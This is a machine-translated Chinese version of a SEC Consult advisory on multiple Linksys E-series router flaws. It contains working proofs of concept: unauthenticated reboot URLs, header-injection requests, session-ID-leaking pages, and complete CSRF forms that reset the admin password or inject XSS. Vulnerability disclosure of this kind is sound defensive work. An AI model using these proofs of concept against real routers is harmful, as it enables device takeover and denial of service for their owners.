FavoriteLoading
0

思科Linksys E系列路由器多个漏洞

思科Linksys E系列路由器多个漏洞

 

标题:多个漏洞
产品:Linksys E系列,请参阅“易受攻击/测试版本”的
易受攻击版本:请参见“易受攻击/测试版本”
固定版本:无公用修补程序,查看解决方案/时间线
CVE号码: –
影响:高
主页:http: /www.linksys.com/

SEC的综合部分咨询
曼谷 – 柏林 – 林茨 – 卢森堡 – 蒙特利尔 – 莫斯科
吉隆坡 – 新加坡 – 维也纳(总部) – 维尔纽斯 – 苏黎世

https://www.sec-consult.com

供应商说明:

“今天,贝尔金国际有三个品牌 – 贝尔金,Linksys和WeMo
– 来增强连接我们
与我们所爱的人们,活动和经验的技术。Belkin产品以
简单易用为名,而Linksys品牌帮助
全球无线连接主流化。我们最新的品牌
WeMo是提供可定制智能家居体验的领导者。
其产品平台使人们能够
在家中随时监控,测量和管理电子,家电和照明。“

资料来源:http : //www.belkin.com/uk/aboutUs/

 

漏洞概述/描述:

1)拒绝服务(DoS) 设备的Web服务器中存在拒绝服务漏洞。这个漏洞非常简单,因为
对cgi脚本的单个GET 请求就足够了。

内部网络中的用户通过CSRF触发的GET请求可以重新启动整个设备,也可以冻结Web界面
和DHCP服务。此操作不需要身份验证。

2)HTTP头部注入和打开重定向由于Web服务中的缺陷,可以在不进行身份验证的情况下触发头部注入。这种漏洞可以用来执行不同的任意动作。在这种情况下的一个例子是向另一个网站的开放重定向。在最坏的情况下,认证用户的会话ID可能会被盗用,因为会话ID被嵌入到URL中,这是Web服务的另一个缺陷。

3)不正确的会话保护 由于不安全的会话处理,管理用户的会话ID可以从LAN中获取,而不需要凭据。此漏洞只能在攻击之前管理员对设备进行身份验证并先前打开会话时被利用。

如果攻击者与合法管理员的PC具有相同的IP地址,则该登录工作正常。因此,当管理员被诱骗在恶意网站上浏览或点击恶意链接时,可能会发生CSRF攻击。

4)跨站点请求伪造管理员界面中的漏洞可以在管理界面中触发跨站点请求伪造漏洞。可以利用此漏洞,因为会话ID可以通过使用3)通过LAN劫持。通过互联网的开发是唯一可能的,如果会话ID(通过例如暴露于互联网引荐)。

攻击者可以通过引诱用户点击恶意链接或冲浪到恶意网站来更改设备的任何配置。

5)管理界面中的跨站点脚本漏洞可以在管理界面中触发跨站点脚本漏洞。可以利用此漏洞,因为会话ID可以通过使用3)通过LAN劫持。只有在会话ID暴露给互联网(例如通过引荐来源)的情况下,才能通过互联网进行利用。

通过使用此漏洞,可以在受攻击的用户的浏览器会话的上下文中执行恶意代码。

概念证明:

1)拒绝服务

 

在浏览器中触发路由器重启的未经身份验证的请求:
http://<Router-IP>/upgrade.cgi
http://<Router-IP>/restore.cgi
在浏览器中触发路由器冻结的未经身份验证的请求:
http://<Router-IP>/mfgtst.cgi

2)HTTP标头注入和打开重定向标头注入可以通过以下未经身份验证的请求触发:

请求:

POST /UnsecuredEnable.cgi HTTP / 1.1 
主机:<Router-IP> 
接受:* / * 
接受语言:en 
连接:close 
引用:http:// <Router-IP> /Unsecured.cgi 
内容类型:application / x -www-form-urlencoded 
Content-Length:97 
 
submit_type =&submit_button = UnsecuredEnable&gui_action = Apply&wait_time = 19&next_url = INJEC%0d%0aTION&change_action =

响应:

HTTP / 1.1 302重定向
服务器:httpd 
日期:星期四,1970年1月01日00:27:41 GMT 
位置:http:// INJEC 
TION 
Content-Type:text / plain 
连接:close

设置新位置将导致打开的重定向:

请求:

POST /UnsecuredEnable.cgi HTTP / 1.1 
主机:<Router-IP> 
接受:* / * 
接受语言:en 
连接:close 
内容类型:application / x-www-form-urlencoded 
Content-Length:97 
submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=www.sec-consult.com&change_action=

响应:

HTTP/1.1 302 Redirect
服务器: httpd
日期: Thu, 01 Jan 1970 00:27:57 GMT
位置: http://www.sec-consult.com
内容内型: text/plain
连接: close

3)不正确的会话保护这两个请求可用于获取已验证用户的当前会话ID 。

http://<Device-IP>/BlockTime.asp
http://<Device-IP>/BlockSite.asp

响应几乎相同(除了“inetblock”和“blocksite”
功能):

HTTP / 1.1 200 Ok 
Server:httpd 
Date:Thu,01 Jan 1970 00:04:32 GMT 
Cache-Control:no-cache 
Pragma:no-cache 
Expired:0 
Content-Type:text / html 
 
[...] 
 
function init ()
{ 
 var close_session =“0”; 
 if(close_session ==“1”)
 { 
 document.forms [0] .action =“hndUnblock.cgi”; 
 } 
 else 
 { 
 document.forms [0] .action =“hndUnblock.cgi?session_id = <Session-ID>”; 
 } 
 
} 
 
</ script> 
</ head> 
<body id =“blocked”onload = init()> 
<div id =“content”> 
<div class =“h1”> 
<h1>
</ h1> 
</ div> 
 
[...] 
 
</ body> 
</ html>

4)跨站点请求伪造管理界面中的漏洞以下证明概念HTML代码可以通过
在从3)中替换之后利用CSRF 来更改路由器密码。

新密码为“secconsult”。

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
 <input type="hidden" name="submit&#95;button" value="Management" />
 <input type="hidden" name="change&#95;action" value="" />
 <input type="hidden" name="gui&#95;action" value="Apply" />
 <input type="hidden" name="PasswdModify" value="1" />
 <input type="hidden" name="http&#95;enable" value="1" />
 <input type="hidden" name="https&#95;enable" value="0" />
 <input type="hidden" name="ctm404&#95;enable" value="" />
 <input type="hidden" name="remote&#95;mgt&#95;https" value="0" />
 <input type="hidden" name="wait&#95;time" value="4" />
 <input type="hidden" name="need&#95;reboot" value="0" />
 <input type="hidden" name="http&#95;passwd" value="secconsult" />
 <input type="hidden" name="http&#95;passwdConfirm" value="secconsult" />
 <input type="hidden" name="&#95;http&#95;enable" value="1" />
 <input type="hidden" name="web&#95;wl&#95;filter" value="0" />
 <input type="hidden" name="remote&#95;management" value="0" />
 <input type="hidden" name="nf&#95;alg&#95;sip" value="0" />
 <input type="hidden" name="upnp&#95;enable" value="1" />
 <input type="hidden" name="upnp&#95;config" value="1" />
 <input type="hidden" name="upnp&#95;internet&#95;dis" value="0" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

5)管理员界面中的跨站点脚本漏洞必须再次替换。“apply.cgi”脚本可能被滥用来触发跨站点脚本漏洞。

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="http://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
 <input type="hidden" name="submit&#95;button" value="index" />
 <input type="hidden" name="change&#95;action" value="" />
 <input type="hidden" name="submit&#95;type" value="" />
 <input type="hidden" name="gui&#95;action" value="Apply" />
 <input type="hidden" name="now&#95;proto" value="dhcp" />
 <input type="hidden" name="daylight&#95;time" value="1" />
 <input type="hidden" name="switch&#95;mode" value="0" />
 <input type="hidden" name="hnap&#95;devicename" value="csrft_POC" />
 <input type="hidden" name="need&#95;reboot" value="0" />
 <input type="hidden" name="user&#95;language" value="" />
 <input type="hidden" name="wait&#95;time" value="1';alert('XSS-PoC')//155" />
 <input type="hidden" name="dhcp&#95;start" value="100" />
 <input type="hidden" name="dhcp&#95;start&#95;conflict" value="0" />
 <input type="hidden" name="lan&#95;ipaddr" value="4" />
 <input type="hidden" name="ppp&#95;demand&#95;pppoe" value="9" />
 <input type="hidden" name="ppp&#95;demand&#95;pptp" value="9" />
 <input type="hidden" name="ppp&#95;demand&#95;l2tp" value="9" />
 <input type="hidden" name="ppp&#95;demand&#95;hb" value="9" />
 <input type="hidden" name="wan&#95;ipv6&#95;proto" value="dhcp" />
 <input type="hidden" name="detect&#95;lang" value="en" />
 <input type="hidden" name="wan&#95;proto" value="dhcp" />
 <input type="hidden" name="wan&#95;hostname" value="" />
 <input type="hidden" name="wan&#95;domain" value="" />
 <input type="hidden" name="mtu&#95;enable" value="0" />
 <input type="hidden" name="lan&#95;ipaddr&#95;0" value="192" />
 <input type="hidden" name="lan&#95;ipaddr&#95;1" value="168" />
 <input type="hidden" name="lan&#95;ipaddr&#95;2" value="1" />
 <input type="hidden" name="lan&#95;ipaddr&#95;3" value="1" />
 <input type="hidden" name="lan&#95;netmask" value="255&#46;255&#46;255&#46;0" />
 <input type="hidden" name="machine&#95;name" value="Linksys09355" />
 <input type="hidden" name="lan&#95;proto" value="dhcp" />
 <input type="hidden" name="dhcp&#95;check" value="" />
 <input type="hidden" name="dhcp&#95;start&#95;tmp" value="100" />
 <input type="hidden" name="dhcp&#95;num" value="50" />
 <input type="hidden" name="dhcp&#95;lease" value="0" />
 <input type="hidden" name="wan&#95;dns" value="4" />
 <input type="hidden" name="wan&#95;dns0&#95;0" value="0" />
 <input type="hidden" name="wan&#95;dns0&#95;1" value="0" />
 <input type="hidden" name="wan&#95;dns0&#95;2" value="0" />
 <input type="hidden" name="wan&#95;dns0&#95;3" value="0" />
 <input type="hidden" name="wan&#95;dns1&#95;0" value="0" />
 <input type="hidden" name="wan&#95;dns1&#95;1" value="0" />
 <input type="hidden" name="wan&#95;dns1&#95;2" value="0" />
 <input type="hidden" name="wan&#95;dns1&#95;3" value="0" />
 <input type="hidden" name="wan&#95;dns2&#95;0" value="0" />
 <input type="hidden" name="wan&#95;dns2&#95;1" value="0" />
 <input type="hidden" name="wan&#95;dns2&#95;2" value="0" />
 <input type="hidden" name="wan&#95;dns2&#95;3" value="0" />
 <input type="hidden" name="wan&#95;wins" value="4" />
 <input type="hidden" name="wan&#95;wins&#95;0" value="0" />
 <input type="hidden" name="wan&#95;wins&#95;1" value="0" />
 <input type="hidden" name="wan&#95;wins&#95;2" value="0" />
 <input type="hidden" name="wan&#95;wins&#95;3" value="0" />
 <input type="hidden" name="time&#95;zone" value="&#45;08&#32;1&#32;1" />
 <input type="hidden" name="&#95;daylight&#95;time" value="1" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

Vulnerable / tested versions:

漏洞测试版本:

Linksys E2500 – 3.0.02(build 2)

根据Linksys安全联系人,以下产品也
受到影响:
Linksys E900(版本:1.0.06)
Linksys E1200(版本:2.0.07 Build 5)
Linksys E8400 AC2400双频Wi-Fi路由器(版本:基本版本?)

根据嵌入在
我们的Io​​T Inspector工具收集的其他Linksys产品的固件中的信息,我们相信以下设备
也受到影响:

Linksys E900(版本:1.0.06) – 由供应商
Linksys E900-ME(版本:1.0.06)确认
Linksys E1200(版本:2.0.07 Build 5) – 由供应商确认
Linksys E1500(版本:1.0.06 Build 1)
Linksys E3200(版本:1.0.05 Build 2)
Linksys E4200(版本:1.0.06 Build 3)
Linksys WRT54G2(版本:1.5.02 Build 5)

供应商联系时间表:

2017-07-10:通过security@linksys.com 与供应商联系。发布日期
为2017-08-29。
2017-07-12:收件人的确认。联系人还表示,
该单位年龄较大,他们必须寻找。
2017-08-07:要求更新 联系人回应说,他们必须
在库存中寻找这样一个单位。
2017-08-08:联系人回复说,他验证了四个漏洞中的三个。
2017-08-09:发送PCAP转储和有关漏洞#4的更多信息,以
协助联系验证。
2017-08-18:发送新的咨询版本以联系和要求更新;
没有答案。
2017-08-22:要求更新; 联系人表示,他正在试图获得一个
从OEM固定固件。
2017-08-24:询问供应商需要多少时间。
2017-08-25:供应商表示,
由于产品的年龄,很难从OEM获得更新(“许多
原始在此代码库工作的工程师不再与
公司合作”)。澄清了一些被
误解的CORS / SOP问题。
2017-08-30:向供应商发送CSRF / XSS作为HTML文件的概念证明。
更改了咨询的漏洞描述,以
解释
从LAN和WAN侧利用CSRF / XSS漏洞的可能性。
2017-09-07:要求更新 供应商同意新的漏洞
描述和陈述,OEM回归他们与
E2500 的修复,他们正处于质量检查阶段。供应商期待
本周或下周的E900,E1200和E8400的修复程序将
其交给QA。
2017-09-07:表示IoT Inspector没有找到E8400,因为
没有固件可以在线下载。表示将
在下一版本的咨询中提供。将
咨询稿转为2017-09-26。
要求确认其他报告的设备:
Linksys E900-ME(版本:1.0.06)
Linksys E1500(版本:1.0.06 Build 1)
Linksys E3200(版本:1.0.05 Build 2)
Linksys E4200(版本:1.0.06构建3)
Linksys WRT54G2(版本:1.5.02 Build 5)
没有回答。
2017-09-18:向供应商发送新版本的咨询。要求
更新; 没有答案。
2017-09-21:要求更新 没有答案。
2017-09-26:要求更新; 没有答案。
2017-10-02:要求更新并将咨询
稿转为2017-10-09; 没有答案。
2017-10-16:通知供应商,该咨询将于
2017-10-18 发布,因为供应商无反应。
2017-10-18:公开发布安全咨询

解决方法:

限制对设备的网络访问。一旦厂商发布就升级到新的固件版本。

咨询网址:点击这里